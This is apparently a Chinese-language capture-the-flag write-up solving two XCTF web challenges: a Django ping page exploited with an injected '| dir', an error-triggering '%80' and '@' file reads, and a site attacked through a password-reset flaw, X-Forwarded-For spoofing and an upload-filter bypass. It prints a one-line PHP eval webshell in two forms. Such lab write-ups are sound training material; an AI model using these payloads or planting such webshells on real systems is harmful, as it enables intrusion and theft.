XCTF-Cat+Bug

一.Cat

题目涉及知识点:
python Django web框架
一些基本配置:Django项目下一般有一个setting.py配置文件来设置数据库路径以及其他信息(默认数据库是sqlite3)

具体思路

打开题目叫我输入域名,先是输入baidu.com,没反应
在这里插入图片描述
然后再试试127.0.0.1,然后出现了ping命令的结果
在这里插入图片描述
看到这个以为是命令拼接执行,于是构造127.0.0.1 | dir
在这里插入图片描述
应该是被过滤了吧,
在这里插入图片描述
然后看了提示所可以读取文件,如何读取文件,总要直到一些文件路径吧,如何知道文件路径,想到了SQL注入里面的报错型注入,试着让它报错试试,输入一些非法字符看看能不能成功,最后构造?url=%80(因为%80表示十进制的128,刚好超过ascii码),报出如下信息
在这里插入图片描述
信息太多了不好观察,又发现这是一个网页,将它复制出来,做个 html重新打开,
在这里插入图片描述
观察之后提取出很多信息

在这里插入图片描述
在这里插入图片描述
因为上图的PATH_INFO,也就是路径信息说明ping命令是在/opt/api/api下面执行的,所以可知setting.py绝对路径为/opt/api/api/setting.py
在这里插入图片描述
知道了数据的位置,我们来尝试读取数据库的信息(结合提示可以使用@来进行读取),构造?url=@/opt/api/database.sqlite3
在这里插入图片描述
爆出的信息也都是一个网页同上面操作一样做一个html便于观察,
在这里插入图片描述
在该页面找到了Flag.

二.Bug

先是尝试登录,admin+admin登陆失败,直接注册一个账号,刚开始注册账户名为admin时,系统提示该用户已存在(感觉到这道题和admin用户有关),换成admin1注册成功后直接登录
在这里插入图片描述
对出现的模块依次查看,Manage模块出现提示
在这里插入图片描述
需要admin权限才能查看,ChangePwd模块貌似只能修改当前用户的密码
在这里插入图片描述
logout之后发现还有一个FindPwd,点进去看看
在这里插入图片描述
可以改密码,好像还是修改的admin1用户的密码,打开burp,看看修改密码有什么东西吧,
在这里插入图片描述
这里把username改为admin后再发包,修改密码成功
在这里插入图片描述
登录后又提示,
在这里插入图片描述
再尝试修改XFF头为127.0.0.1,修改后发包出现提示
在这里插入图片描述
根据注释里面的<!-- index.php?module=filemanage&do=???-->去访问
在这里插入图片描述
提示Action is not correct,说明do后面的参数不对,需要猜测do后面的动作,结合前面的filemanage猜想是上传文件这类操作,构造upload或uploadfile,最后在do=upload时出现文件上传窗口,
在这里插入图片描述
开始上传文件,直接上传一句话木马1.php

<?php
@eval($_POST['a']);
?>

在这里插入图片描述
上传后提示是一个php文件,再结合上传时抓包的情况,尝试修改MIME类型,image/jpeg
在这里插入图片描述
修改后,还是无变化,再来修改filename-------》php3,php5,php7,pht,phtml,在修改为php5出现下图
在这里插入图片描述
继续提示有些东西表示它还是php文件,可能是识别到上传的一句话木马包括php,所以尝试把一句话木马改为php脚本形式<script language='php'> eval(@$_POST['a']); </script>
在这里插入图片描述
成功拿到Flag!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值